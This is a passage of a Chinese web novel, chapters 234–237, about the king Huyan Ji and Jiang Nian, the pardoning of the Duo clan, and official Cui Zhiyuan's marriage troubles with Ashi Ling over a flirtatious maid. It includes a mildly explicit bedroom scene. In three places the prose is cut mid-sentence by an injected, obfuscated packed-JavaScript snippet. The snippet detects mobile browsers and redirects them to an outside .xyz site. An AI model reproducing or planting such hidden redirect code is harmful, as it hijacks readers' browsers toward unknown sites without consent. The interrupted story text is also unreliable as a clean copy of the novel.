“阿姐,你也该松乏松乏。”呼延吉指尖巧动。 江念便伏在他的身上,羞得头也不能抬。 呼延吉空出的另一只手扣住她的脑后,然后再缓缓下移,托住她的腰肢。 “阿姐不是要问我问题么?” 江念气息不匀地“唔”了一声。 呼延吉在她耳边轻声道:“我见着你快活,我就快活。” 江念就这么在他的挑弄下一点点地收紧,最后再缓缓松弛下来。 呼延吉拭过手,将绢帕丢放在一边,抱她到床榻间,躺到她的身侧,她便倚在他的身侧睡了过去,这一觉睡得无人打搅,一直睡到天色昏沉,醒来时还有些迷怔。 “不再睡一会儿?”呼延吉缓缓睁开眼问道。 “虽然你唤我一声阿姐,很多时候却是你在包容我。” 呼延吉把头往后仰了仰,看向她的脸,然后在她的腮上揪了揪。 江念发出滑稽的口音,像嘴里含着一个大果子:“怎么了?” “我怕你是个假的,几时会说这样的软款话了。”呼延吉松开手,又挑了挑她的下巴,让她的脸迎向自己,“以前可是不把我气死不罢休。” 江念噗嗤一笑,抱着他:“吉儿,我有个问题。” 呼延吉心里一凝,得,听她叫“吉儿”就知道下面的话不好应对,只能“嗯”了一声,算作回应。 “嗯是什么意思?”江念问道。 “你说,你说,我听着。” 江念想了想,嘴角含笑地问道:“妾身在大王心里是不是最重要的人?” 呼延吉并未犹豫:“是。” “那妾身排首位么?” 呼延吉闷笑着“嗯”了一声。 江念心中欢喜,生出一点点得意,又追问了一句:“如果拿妾身同大王的江山比呢,哪个更重要?”怕他敷衍,她问得更加直白,“就是妾身同大王的夷越比,孰轻孰重?” 这一次,呼延吉没有立刻给出回答,江念见他默然不语,有一点点的失意。 “阿姐想听真话还是假话?” 江念想也不想地说道:“假话,我想听假话,真话听了心梗,你还是拿假话骗我一辈子算了。” 呼延吉大笑出声,说道:“假话就是……在我心里你同夷越一样重要,没有轻重之分。” 江念伸出食指按住他的唇,指下的唇很软,忍不住在那两瓣唇上流连轻抚:“你确定这不是真话?” “不是,这是假话。” 这一下倒是勾起江念的好奇,遂问道:“那真话呢?” “现在又想听真话了?” 江念连连点头,假话是,她同他的国家在他心里的分量一样重,换言之就是,她同他的国家是有轻重之分的,这不能不让她好奇,又怕听到,却又想听。 呼延吉启口道:“作为君王,我自然将国放于首位,可作为你的夫君,这世间能让我义无反顾舍去性命的只有你……” 话音将落,江念扑到呼延吉的怀里,喜滋滋道:“这个真话我喜欢听。” 呼延吉暗暗吁了一口气,心道,还是不能让她太闲,一闲就乱想,一乱想,遭罪的还是他。 …… 死不可怕,可怕的是等待死亡的过程。 因着崔致远的交代,朵家在牢狱没怎么受罪,这日,狱吏运来丰富的饭食,给每个牢房分发后离开。 朵家人知道,只怕这是最后一餐了,没有人能吃得下去。 朵阿赤自然也没胃口。 过了一会儿,走道响来脚步声,停在朵阿赤的牢房间:“啧——啧——我还当你不怕死哩,这会儿一看,你是铡刀还未落,魂已去了忘乡台。” 朵阿赤忒烦崔致远这人,那嘴巴简直招人恨,他都要**,他都不能说句好话来听听。 崔致远睨了一眼他面前的饭菜,说道:“快吃罢,这是你在狱里的最后一顿。” “一顿不吃饿不死。”朵阿赤说道。 “那怎么行,虽说饿不死,可上路前的规矩不能坏,哪个**犯行刑前不吃断头饭,你看你,平日也是个讲究人,好歹把礼做足了,图个吉利。” 朵阿赤额上青筋直跳,实在是忍不住了:“姓崔的,我跟你没仇罢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15734448|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔致远笑了笑,说道:“都这个时候了,脾气还这样大,难怪生得一头赤发。” 朵阿赤一噎,这世上再没人比崔致远嘴巴更贱的。 “本来呢,我是带了一个消息来,怎奈你这般见不得我,我在想要不要告诉你。”崔致远说道。 朵阿赤半点不感兴趣,他一个要死的人,对什么都无所谓了,只求速死。 “真不想知道?”崔致远又问。 朵阿赤把头撇向一边,闭上眼。 崔致远见他这副模样,也不再逗弄他,当下道出:“王令随后就到,你朵氏一族不用**。” 朵阿赤猛地转头看向崔致远:“你不是在玩笑罢?” “给我一百个胆子我也不敢拿王令玩笑。”崔致远说罢转身离开。 朵氏一族在这一日被释放,这些人里也包括朵尔罕,朵尔罕想不通呼延吉为何要赦免朵家的罪责,他认为自己捡回了一条命。 朵家人仍回到从前那座红色府邸,这是君王特意交代过的,在外人看来是恩赐,实是有意为之。 直到后来朵尔罕才意识到,那个时候若能死在牢里,反倒是一种解脱,而他的余生只能活在地狱,活在那座红色的坟屋。 自此,夷越上姓再无朵氏、高氏二姓。 …… 一切平息后,崔致远回了自己的府邸,没过多久娶了阿史家的贵女,阿史苓。 不过不是入赘,以他君王近臣的身份,不可能再提“入赘”二字。 阿史苓嫁到崔府后,婚前婚后没什么两样,上面又无公婆,下面又无姑姐妯娌,府中人口简单,她嫁进来就是府里的主母,崔致远平时尽让着她,日子可谓过得无比舒心惬意。 唯有一点,崔致远这人节省惯了的,并不是个喜欢铺张之人,然而阿史苓正好相反,任何事物都要极尽奢华。 崔致远虽为天子近臣,可他一年到头的俸禄也及不上阿史苓头上两件稀贵的首饰。 他自己本又清廉,文职营生,手里没有大钱,阿史苓却是个撒漫的,买东西根本不问价,只要遇上喜欢的就叫下人往府里搬。 不到几个月的时间,管家向他来报,库房的银子出的多进的少,后手不接。 崔致远又不能直接同阿史苓说,叫她省着钱花,只能再想办法,找些合当赚钱的营生。 有了这个想法,他便开始让下人去打听各行当,结果打听一番才发现自己还是想简单了。 这京都城里各行当的码头都划分好了的,想要**手并不容易,当然了,他若报出自己的名号,那没人不奉承迎合的,可这样一来,就会牵扯些旁的进来。 从来人情最难还,这些天他尽为这事发愁。 这日傍晚,崔致远不在府中,阿史苓独自用了晚饭,然后到院中散步消食,不一会儿下人来传,大人回了。 阿史苓表示知晓,又在园子里转了一会儿,才回屋室,只是回了小院才发现,屋内空着。 “大人呢?”阿史苓问道。 “大人还在书房。”下人回道。 此时天已暗了下来,阿史苓便带着丫头往书房行去,这些时他好似有意避着她,她只是心大,不是傻…… 第234章 撞破一对鸳鸯 阿史苓发现近段时日,崔致远有些异样。 她知道他公务繁忙,在府中的时候少,她也不是那等厮磨人的女子,他忙他的,她可做她的事,譬如,吃、喝、玩、乐。 只是她发现崔致远最近有些不对,回府后也不回后院,而是在书房,她若问他可有烦心之事,他也只是言辞闪烁地说无事。 这就很让她起疑,于是带着珍珠去了前院。 崔致远的书房同后院隔了一段,因府里下人少,一路上偶有几个仆人行过,她走到他书房的庭院内,这院子也无人守着,墙垣边是葱郁的树植,蓊蔚洇润。 整个院子没有一点布置,只有绿植花卉,显得有些清寒,阿史苓收回眼,转头看向书房,纱窗上亮着浅黄的灯光。 于是提裙走上台阶,刚要敲门,听得里面传来轻柔的女声。 “奴把灯芯再挑一挑,大人莫看书太久,仔细伤眼。” 接着就听到男人“嗯”了一声,说道:“替我沏一盏茶来。” 那婢子应下,过了一会儿,听她说道:“大人,请用茶。” 再然后是女人的娇呼,还有茶碗跌落的声音和衣衫窸窸窣窣之声。 这是在做什么?这是在做什么!不用想也知道了,阿史苓气得银牙紧咬,就要推门而入质问个究竟,却被一旁的珍珠拉住。 珍珠无声地摇了摇头,然后拉着阿史苓出了院子。 “你拉着**什么,叫我进去责问他一番,真是料不到,居然趁夜撞破一对鸳鸯,怪道不愿回院子呢,原是书房里有温柔可意人儿。” 阿史苓说着说着就红了眼。 珍珠叹了一口气,说道:“主子,你这样哪能行呢?” 阿史苓不明其意。 珍珠又道:“大人他如今是什么官阶,就是在咱们大爷面前,那也是没有高低的,且又是大王亲信,他有个奴姬当得了什么,别说奴姬了,就是再娶一两个妻室回来,同你姐妹相称,你又能说什么?” “凭什么?!”阿史苓是霸道的,这种个性是她打小生长的环境生成的,只要她看中的东西,她是一定要得到的,当然了,她并不使坏,这世上绝大多事可以用钱解决,而她恰好有钱。 当初她相中崔致远,喜欢的感觉自然有,却并不炙热,这份喜欢中可能还是同情更多,她觉着他是个好人,她想救他。 后来朵家败落,崔致远再度起复。 他和她之间好像就这么稀里糊涂地走到一起了。 她知道热恋一个人是什么感觉,就像当初她对阿多图那样,冲动且失智,还有求而不得的苦涩,这些不可言说的感觉在崔致远身上没有。 她和他之间很淡很平,他从外面忙完公务回家,然后去书房研读,最后回院中休息。 她呢,因上面无公婆侍奉,也不用早起问安,家中人口简单,又无需她计议家务,睡至自然醒,醒来时崔致远已去王庭,她便慢条斯理地享用早饭,闲适地游园漫步。 要么在府中侍弄花草或是逗玩池鱼,要么去王庭陪侍梁妃,再不然去茶楼听曲,或是逛珠宝阁楼,她一向就是这么打发时间。 男人有几个奴姬不是什么奇事,哪个高门贵府的男子不是这样,除了她的父兄以外。 知道归知道,真临到她头上又是两说。 此时,她想起江念说过的话,当时因着她想嫁给阿多图,江念告诉她,同人共侍一夫,很难做到坦然,她当时怎么回答的,她说她可以不在乎。 然而事实并非如此,一个婢女已叫她容忍不得,又何论同她平起平坐的其他妻室。 珍珠见阿史苓这个样子,劝说道:“只是一个丫鬟,就是被大人宠幸也成不了气候,顶多抬作奴姬,主子何必生这个气呢。” “可我就是气,我……”阿史苓说不出话,心里难受,她搞不清自己怎么这样难受,觉得崔致远应该是她的,就像她的那些珠宝首饰一样,除非她愿意施舍,否则他人不能分夺。 “我该怎么办,今日只是一个婢女,以后指不定就是哪家仕宦把女儿塞进来,那些人早就想着巴结他。” 珠珍扶着阿史苓往内院走去:“既然阿姑这样问婢子,那婢子有句话说了你可别恼。” “你说,我不恼。” “不是婢子说,阿姑自打嫁给大人后,可曾有过半分女儿家的贴心小意?” 阿史苓听说此言,说道:“怎么没有小意,晚上不是我陪他睡觉?头一回那样疼我都忍了,还要怎样小意?” 珍珠一噎,苓姑在这方面全然不开窍,只好掰开了说:“**大人从外面回府,进了屋室,阿姑可有替大人宽过衣物?哪怕一次呢,可有过?” 阿史苓摇了摇头:“这些事不是有婢子们做么,这也不是我一个当家女主人该做的,我母亲说过,女主子在府里就该端起女主子的架势。” “我的主儿耶——夫人那是说在下人面前得端起主母的架势,谁叫你在大人面前端了?就是咱们夫人回了屋室,那不也得替老大人宽衣缓带。” 阿史苓倒不知这些,父母房内之事,她怎好去留意。 不待她多想,珍珠又道:“还有,婢子再问,夜里大人若是口渴了,阿姑可有替大人倒过茶水?” 阿史苓想了想,说道:“不曾,倒是有几次我口渴得厉害,他起身倒茶与我。”说到这里,又追了一句,“那不是因着我睡里侧,他睡外侧下榻方便么?总不能叫我从里侧爬出来,再说了,黑灯瞎火的,跌跤了怎么办。” “你看看,这就是问题所在,虽说阿姑身份贵重,可既然嫁给了大人,那你就是他的妻,该有的体贴和小意不能少,他若从你这里得不到,自会移情旁人。” 珍珠又道:“时日一久,那可真就是你是你,他是他,你是当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739097|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家女主子,他是当家男主子,仅此而已。” “那你说,该当如何?” 二人此时已走回内院。 “这就要靠阿姑平日的细心观察了,譬如,大人口渴了,你奉上一杯茶饮,他心烦了,你关心两句,还有就是刚才,你就没做好……” 阿史苓追问:“刚才怎么了?” “大人回府去了书房,你去看他,怎的不提些吃食?像甜汤或是糕点之类的,真正暖人心的,也就靠这些平日里的小事小物。” “可在他最困难之时,是我帮的他,大风浪陪他过了,这些小事小物又算得了什么?”在她看来,只有危难时才见人心,这些小事小物都是虚的。 珍珠扶阿史苓坐下,替她沏上一盏茶:“阿姑若是这样想,可就错了,大风大浪能有几次?好多人家一辈子都是平平淡淡过了,哪有见真心的机会?好,咱们话再说回,你陪大人度过危难,他是记着你的好,可又怎样呢,日子是细水长流,不就靠平时的点点滴滴润泽么,况且,你的这份恩总不能时时挂在嘴边说,说多了,这恩就不是恩了。” 阿史苓默然不语。 珍珠见她这副情态,便不再多说什么。 书房里,崔致远跟前服侍的婢子叫花奴。 崔府的下人本就不多,这花奴在众婢女中容貌拔尖,凭着伶俐的姿性跻身为崔致远的贴身侍婢。 花奴见大人近日愁烦,便在他跟前柔语宽慰。 见他要茶水,于是忙端了茶到他跟前,这府里只一位女主子,而且夫人生性单纯,大人又是个温和脾气,遂存了别样的心思。 若能叫大人收用她,凭着她的手段,这府里定有她的一席之地,而夫人又是个经不住言语挑拨的,想要压她的势再容易不过。 心里这么想着,在递茶之时,一扭身伴着一声娇呼,故意跌到崔致远的怀里。 手上的茶盏“啪嚓”掉落地面,茶水泼洒而出,湿染了崔致远的衣襟。 崔致远“啧”了一声,并未怪罪,那婢子赶忙上手抚弄崔致远的衣衫,看似是讨饶认错,手上却不老实,有意无意地往崔致远的衣襟里探。 崔致远脾气虽好,可这会儿为赚钱一事正心烦,这婢子又在他跟前挨挨蹭蹭,叫他略略不快。 “行了,行了,你退下,这里不用你。” 花奴一怔,缓缓起身,不死心地说道:“婢子替大人重新更换衣物罢,这外衫被茶渍湿了。” 崔致远不语,只是摆手让她下去,花奴纵然不愿,却也只能碎步出了书房。 这边,阿史苓从隔间的沐室出来,也不照往常那样,不待崔致远回屋就自行睡去,而是坐在妆台前无聊地把玩着她的宝珠。 心里想着刚才珍珠说的那些话,要体贴,要温柔,要细水长流地润泽。 那她就不能只顾自己,她坐着等他回屋,然后再给他宽衣…… 第235章 微潮的热气 阿史苓看着手中宝光莹润的串珠,把它往匣子里一丢,然后再“啪——”地关上匣子。 无精打采地叹了一口气,心里像有蚁虫啃啮一样,全然坐不住,于是站起,在屋里来回踱步,正在焦躁之时,院子里响起熟悉的脚步声。 阿史苓忙理了理耳边的碎发,迎上去,提起嘴角,说道:“夫君回来了?” 崔致远有一瞬间的怔愣,看向阿史苓,问道:“平日这个时候你都睡了,今日怎的还不歇息?” 阿史苓正要脱口而出,我睡不着,话到嘴边又咽了回去,改口道:“我专意等你呢!” 崔致远有些不适应她这个态度,“哦”了一声,然后走到榻边,就要自己宽衣,阿史苓见了,眼珠一溜,嘴角挂笑地上前,说道:“我给你宽身。” “不用,我自己来。”崔致远说道。 “怎么不用,我来,我来,你快松手……我说我来!”这腔调说到最后变得越来越不对味,柔情似水变成了强硬的命令。 崔致远心里一紧,只好应道:“好,好,你来。” 阿史苓便手忙脚乱地替崔致远除去衣物,待他只剩一身绵白的里衣时,说道:“行了,去沐洗罢。” 崔致远转身去了沐间。 正在崔致远沐洗之时,房门被叩响。 “夫人,婢子进来伺候大人沐洗。” 阿史苓不听这声音还罢,一听这妖翘的声音气就不打一处来,正是崔致远的贴身女婢,那个叫花奴的,刚才书房里就是她。 “不用你伺候,你去罢。” 门外静了一会儿,那花奴应声去了。 阿史苓心情稍好,坐到桌边给自己倒了一杯果饮,正喝着,听到沐间传来崔致远的声音。 “拿一套干净衣衫来。” 阿史苓“嗳”着应下,放下盏,就要给崔致远拿干净的寝衣,然而却在这一刻犯了难。 “你的衣衫都放在哪儿呢?” “就在大衣橱内。” 大衣橱?他的衣衫放在大衣橱?她怎么不知道,于是走过去将衣橱门打开,睁眼一看,几个格层内整叠着她的衣物,哪有他的? “哪有你的衣衫,你是不是记错了?”阿史苓扭头朝沐间喊了一声。 沐间传来“哗啦”一声,像是人从水里起身。 “你把花奴叫进来,让她找一找,我见她每次从那里拿。” 阿史苓哪肯叫那女婢进屋,于是在自己的衣衫里搜找,找了半晌仍不见他的衣衫。 一时间有些沮丧,她连他的衣物都不知放在哪里,而沐室里安静下来,没了水声,他应是正等着她。 “我没找到……”阿史苓嘟囔一声。 崔致远也不催促,缓声道:“那你再找找,看看下层有没有?” “那我再找找?” “嗯。” 阿史苓往下翻看,终于在最下面的隔层找到了两套寝衣,欣喜道:“找到了!” “拿来罢。” 阿史苓便取出一套寝衣,走到沐间前,隔着帷屏递了过去,崔致远从内探手接过,接着听到里间窸窸窣窣的穿衣声。 过了一会儿,崔致远穿好衣衫从里间出来,手里拿着一条干的毛巾,自己给自己绞发。 阿史苓倒了一杯茶走到他的身边:“喏,喝茶。” 崔致远有些受宠若惊,接过茶盏走到桌边坐下,问道:“你是不是有什么事情同我说?” 他觉着阿史苓今日有些异样,这一反常肯定事出有因。 “没有事。”阿史苓回道。 “那你先去睡罢。” 阿史苓心想这会儿也没别的事了,衣服她也替他宽解了,茶水也给他倒了,他应该能感受到自己的体贴了罢,于是走到床榻边,踢了鞋,入到帐内。 崔致远回头看了床榻一眼,快速将头发擦拭,又拿小烘炉烘至半干,最后将杯中的饮子喝了,这才打下半边床帐,上了榻。 阿史苓面朝里,闭着眼并未睡去,感受到身边床榻轻陷,身后是微潮的热气,接着男人的胳膊环上她的腰腹,慢慢地贴近身。 崔致远平时回屋晚,而且回屋时,阿史苓已睡下,他也不好再吵她,所以两人于那件事情上并不怎么热络,今日她既然有心等他,他也想同她亲近亲近。 于是靠了过去,抚上她的腰肢,隔着薄软的衣衫在她的肩头落下一吻,然后挨得更亲,慢慢探到她腋下的衣带处,正待松开,却感觉她的身子明显一僵。 这一份不自在甚至传递给了他,叫他有些难堪。 阿史苓极力忍着,一遍遍地告诉自己,要温柔,要小意,要去迎合他,她心里这么想着,可身体却不受调配。 一想到他刚才跟一个丫鬟行了那事,她就浑身不自在,不想他碰自己,觉得好脏,好恶心。 她的身体僵硬得骨头缝都在“咯擦,咯擦”响,他呼出的热气使她颈背的细毛立起。 “睡罢。”身后传来男人的声音,淡淡的,听不出情绪。 接着搁在她腰间的手拿开,然后听到翻身的响动,她扭过头,看到的是他不算高大的背影。 阿史苓“嗯”了一声,闭上了眼,慢慢地睡了过去。 而另一边的崔致远却不曾闭眼。 他出身不高,能娶到阿史苓是他高攀了,他二人所生长的环境完全不同,他是小巷弄出来的,父母早亡,他除了会读书,整个人没有半点光亮。 样貌平平,身份不显,后来还因得罪权贵仕途屡屡受阻。 可以这么说,若不是有大王这份机缘,待花光家中最后一点积蓄,为了生计,他可能会妥协,毕竟人还要活下去,兴许去茶楼跑腿,或在街市给人抄书,又或是去药铺当一个账房先生。 那个时候的他是不会想到,他这么个穷书生会娶上姓家的贵女。 他生活简省,她生活奢华。 她自小受尽家人疼爱,要什么有什么,这才养就了她无忧无虑的热心肠,看见不平之事,就想替人出头打抱不平。 她愿意嫁给他,可能真没多少情爱,就是两人接触久了, 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一面说着一面霍地起身,胡乱披了一件外衫,下了床榻,给崔致远找外衫,然后亲自服侍他穿衣。 崔致远默默地看着,并不言语。 阿史苓自己还需人伺候穿衣之人,叫她伺候别人,属实有些难为她了,不过为了她女主人的地位,这点子事她可以应对。 好在崔致远平时穿衣简单,只着单衣,也不束花样繁复的腰带,一身直袍,干净简单。 “好了。”阿史苓打开门,朝外叫了一声,让人打水进来。 花奴早在外面等候,进来后见崔致远衣衫已穿戴好,不免把阿史苓多看了一眼,暗地里撇了撇嘴。 花奴上前,双手呈递洗漱用具,崔致远从她手里接过,洗漱毕,也不在府里用早饭,径直出了府门。 阿史苓打发了房中的下人,此时也没了睡意,叫自己的丫头进来替她更衣。 崔致远出了府,乘着马车行到一处酒楼前,然后下了车,进了楼里,在店伙计的引带下上了二楼,敲响一扇房门。 “进来。” 崔致远推门而入,屋内坐了一人,正在喝茶,见崔致远来了,抬了抬下巴,示意他坐。 “都安排好了?”崔致远走到他的对面坐下。 对面之人一头迎光泛赤的发色。 “之前倒是看走眼了,以为你不是个重利之人,想不到如今也为了这些黄白之物费心费力,我先前找你出来,你各种推三阻四,这会儿你找我,怎的就不忙了?”朵阿赤说道。 “怎的不忙,这不是特意寻了一个休沐之日约你,平日哪有这许多时间。”崔致远给自己倒了一杯茶水,又朝外叫店伙计上了一些菜点。 不一儿,菜饭上来,朵阿赤看着桌上的几碟子菜,笑了一声:“看来你这婚后生活不尽如人意嘛。” 崔致远看他一眼,说道:“一起吃些?” 朵阿赤摇了摇头:“我家夫人已张罗我用过早饭。” 第236章 男女一事 朵阿赤的腔调说得很是玩味。 崔致远并不理他,他既然不吃,他也不客气什么,于是执箸吃了起来。 因他用饭,朵阿赤把正事先放一边,待他用**后再商谈,眼下只作闲话。 朵阿赤在他面上溜了两眼,说道:“面目生郁,这男人呐,无非两件事情愁烦,一来功来,二来后宅,如今你在京中名气不小,人人都闻得崔大人之名,又是大王近臣,功业已成,那就是后宅了。” 说着,端起茶盏啜了一口,从杯沿望向崔致远,见他手上筷箸一顿,笑说道:“看来叫我说着了,你娶了阿史苓那丫头,还有什么可愁烦的?” 崔致远放下碗筷,并不说话,这些内帷之事说出来叫人笑话。 朵阿赤心计谋略方面不如崔致远,可关于男女一事,他可比崔致远通晓太多。 像他们这些膏粱子弟,大多十四五岁房里就有了人,风月场也是走过的。 就拿阿史勒和罗疏两人来说,别看他二人如今规矩模样,那从前轻狂浪荡时,一个比一个玩得花。 为了一个花楼头牌女,一掷千金也不是没有过,反正他们也从来不把钱当钱,图得就是乐,直到后来才慢慢转了性儿。 阿史勒他那是没办法,他家夫人的拳脚比他厉害,不得不收心,罗疏那小子是自甘沉沦,一物降一物,碰着个能叫他收心之人。 在他们这些人里,他真不算什么,只是因着他父亲的原因,败落到这个境地,如今他朵家没了上姓之尊,族中营生大部分被剥去,境况比之从前一落千丈。 不过这对他来说并不是大问题,只要府宅还在,大王又特赦恩典,他朵家人身上没披挂罪名,一切还可以从头再来,门楣重兴,对他来说不难。 这也算大王看在他同他父亲不同立场而给予的仁慈。 崔致远叫朵阿赤这么一说,本是不愿言明,可心里憋闷总得有个出口,遂说道:“这内帷之事比朝堂机要更叫人费解。” 朵阿赤笑出声:“有什么无解的,你最大的问题就是手上经历的女人太少了,这才叫那丫头拿捏住。” 崔致远对女人一直持着敬而远之的态度,更别提多经历女人之类的事,朵阿赤这话说了等于没说,于是拿起茶盏饮了小半盏。 “如今你这身份,我也不好带你去风月场见识,不过我倒是可以告诉你一些经验,兴许有用。”朵阿赤说道。 崔致远有些好奇,问道:“什么经验?” “这女人呐……不能太惯着,你越惯她,她的气性儿越大,最后的结果就是,她压你一头,你永远翻不了盘。” 朵阿赤想了想又道:“你别看咱们那位对外气势威严,避着咱们时,你看他对梁妃是个什么样。” “什么样儿?” 朵阿赤嫌他呆怔,“啧”了一声:“什么样儿你看不出来?你从前不还同他二人在徽城处过一段时日么,该比我们这些人知道得更多才是。” 崔致远沉吟半晌,说道:“江念我是知道的,性子温柔,识得大体,心肠也好……” 话未说完,朵阿赤笑着摇了摇头:“罢了,罢了,我也不问你这些了。” 这半截话叫崔致远更难受,他听得且是认真,催促道:“还有呢,你再多说些。” 这会儿两人把碰面的正事全然忘了,朵阿赤看了一眼自己面前的酒杯,崔致远会意,立马给他满上一杯,然后又给自己倒了一杯酒。 朵阿赤便说道:“夫妻之间也是有博弈的,就跟你在朝堂同人对峙一样,首先气势上就不能输,你得拿出当家人的架势来。” “不行,不行,我同她本就不对等,拿得出什么架势。”崔致远摆手道。 “你看,这就是你的问题了,她既然嫁于你,就是你女人,你主外,她主内,你还用从前的眼光去看她,把她当孩子似的纵容,难怪你立不起来。” 崔致远冷笑一声:“你立得起来?把你能耐的,在我跟前一套一套,谁知你回府是个什么样。” 朵阿赤浑不在意他的嘲讽,说道:“我家两位夫人能相处和睦,你当是为什么?真以为她姐妹二人感情好?” 崔致远眯了眯眼,并不言语。 朵阿赤又说:“你得懂得制衡,这不跟朝堂上的左右二相一样的道理么,再说明白一点,你看咱们大王,上姓独大,他就抬举世家,世家起了势头,他再用上姓掣肘世家,总归一句话,你不能让一方独大,不然最后遭罪的就是你,可懂?” “所以你的意思是……让我在内宅再扶一人起来?” 朵阿赤向后一靠,无所谓地说道:“这个看你自己。” 崔致远想了想,觉得不对,疑惑道:“可咱们大王不也只有梁妃一人,这你怎么说?” 朵阿赤一面给自己续了一杯酒,一面说道:“你同他比?你要有他那个能耐,你还在这里问我?” “你别看他迁就梁妃,实际上梁妃被他吃得死死的,咱们这是闭着门说话,你端看他在梁妃身上用过多少手段罢。” 崔致远暗忖,倒还真是,之前大王为着江念丢开一身政务跑去徽城,就那么涎皮赖脸地在桂花巷住下,那会儿一口一声阿姐阿姐地叫着。 初时他们都当他二人是姐弟,之后更是明的、暗的手段全用上了,一点点攻陷,这得花了多少心思。 “这还只是咱们听闻的,你道那位从前在梁国为质时,又费了多少工夫?这叫什么?慢性毒,一点一点渗入到你的四肢百骸,等你反应过来时,已入膏肓,无药可医,唯他可解。”朵阿赤挑了挑眉,问向崔致远,“你有他的能耐?” 崔致远越听越觉着有理,当下心里已有定数,于是岔开话头。 “你这路子到底靠不靠谱?” 说起正事,朵阿赤变得认真起来:“我已详尽探过,大梁背后同它一海之隔有一国,名大夏朝,夏朝大多香料从梁国海运,而梁国的香料又从我夷越而得,这中间一层递一层的利钱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“几时动身?” “也就下个月。” “这一路危机难料,不论是海上还是彼边的大夏朝。”崔致远起身,从桌上执来酒壶,倒了两杯,执起其中一杯,另一杯递向朵阿赤,说道,“学生在这里祝小朵大人稳泛沧溟,宝舶盈舱。” 朵阿赤笑道:“哪还有什么小朵大人,等我的好消息罢,有我赚的,就有你赚的。” 二人又说了些闲话,各自离开。 崔致远同朵阿赤散去时已是正午,出了酒楼也不乘车马,在街上漫步转了一圈,然后缓缓往崔府行去,心里想的却是朵阿赤同他说的那些话。 什么夫妻之间相处得讲究策略,还要懂得制衡,崔致远心道,要不要按这法子试一试? 就这么一面深思一面走回了崔府,下人见自家大人回来,迎了出来。 崔致远进了后宅,环顾一周,问道:“夫人呢?” 这时,花奴走上前,回道:“回大人的话,夫人去了王庭。” 崔致远“嗯”了一声,然后走进屋内,花奴便跟进去替他宽衣,这花奴是他的贴身侍婢,伺候他的起居日常。 只是在她替他缓解衣带时,那手有些不老实,且身子贴得过近,近到他稍一低头便能嗅到她头上的花香气。 而阿史苓回来看见的就是这一幕…… 第237章 怎么,你心疼了? 阿史苓从王庭回来,进了后院,院中没人值守,这府里向来人员稀落,她一开始嫁进来时还有些不惯。 院子里很安静,可她却知道屋室有人,因为有模糊的光影在门框处晃动,于是走了过去,就见屋里一男一女近身在一处。 两人因挨得太近,根本没注意到她的存在,她就立在阶下冷冷地看了会儿,忍耐不是她的脾性,于是三两步抢到屋里,把花奴往旁边一挤。 “谁叫你进屋的,你下去,这里有我。” 那花奴不防备,被挤得一趔趄,当下红了脸:“夫人这是做什么?伺候大人是婢子的本分。” 说罢红了眼眶,一脸娇嗔委屈。 崔致远在阿史苓脸上看了一眼,脑中荡过朵阿赤在酒楼里说的那些话,别再把她当孩子,不能纵着她,不能叫她势头上压过你,于是说道:“她一个婢子,你同她计较什么。” 阿史苓睁眼看向崔致远,有些不敢置信,他居然没有向着她说话,而且刚才的话语中带着埋怨,他为了一个婢女埋怨她?! “这是我的屋,我让她进她才能进,不让她进她就得给我滚出去。”阿史苓气性一上来就降不下去,冲上前又推了花奴一把。 花奴歪身跌倒在地,崔致远从未见她这样蛮过,之前他一直觉着她性情耿直,虽然娇蛮却也不失可爱,总归来说心地还是好的。 然而今日一见,口出恶言不说,竟然仗着身份动手**,遂也有些气了。 “你拿她撒什么气。” 阿史苓见崔致远护起花奴,口不择言道:“我就拿她撒气,就拿她撒气,怎么,你心疼了?” 说罢,冲上去朝花奴身上踢了两脚。 这两脚其实也没多大力气,但阿史苓从小在家中横行惯了,家里上上下下都尽让着她,不曾让她受过半点委屈,她也不屑于耍心眼儿。 在她看来,一个低贱的女婢,不值得让她耍心眼,当下急于把心里的憋屈一股脑地发泄出来。 花奴受了两脚,立马扑到崔致远脚边,哀哀戚戚道:“大人救救奴儿。” “你起来。”崔致远说道。 “夫人不叫婢子起身,婢子不敢起。”花奴眼神躲闪地瞥了一眼阿史苓,身体惧怕地打着颤儿,叫人看了好不心疼。 崔致远见阿史苓扬起下巴,那小巧光洁的下巴尽是挑衅之意,当下把脸一冷:“叫你起身你就起身,我才是家主!” 花奴这才依依起身,只是仍立在崔致远身后,似是寻求他的庇护,怕被阿史苓责打。 阿史苓不服气地把崔致远凝着:“好,你护她,以后我这屋子你也别进来!不许你进!” 崔致远冷笑一声,一声不言语地离开了,崔致远一走,那花奴自然也随在他的身后走了。 阿史苓见他不冷不热的样子,更是来气,不甘心地追了两步,叫喊道:“这屋子你永远别进,这院子你也不许踏足!” 男人的身影已然远去,没有半点停顿。 “我的主子耶,你这是做什么呢,哪有你这样把人往外撵的。”珍珠上前,她一会儿不在跟前,怎么就闹成了这样。 阿史苓气得眼眶泛红,胸脯不平,一时竟说不出话来,等崔致远的身影看不见后,两眼立时滚下泪来。 “他护着她,他护着那个小蹄子!” 珍珠也不知该说什么,不过就是一个丫头,能有什么威胁,就是要整治花奴,那手段也多了去,却不能当着家主的面这样闹,让他这样下不来台面。 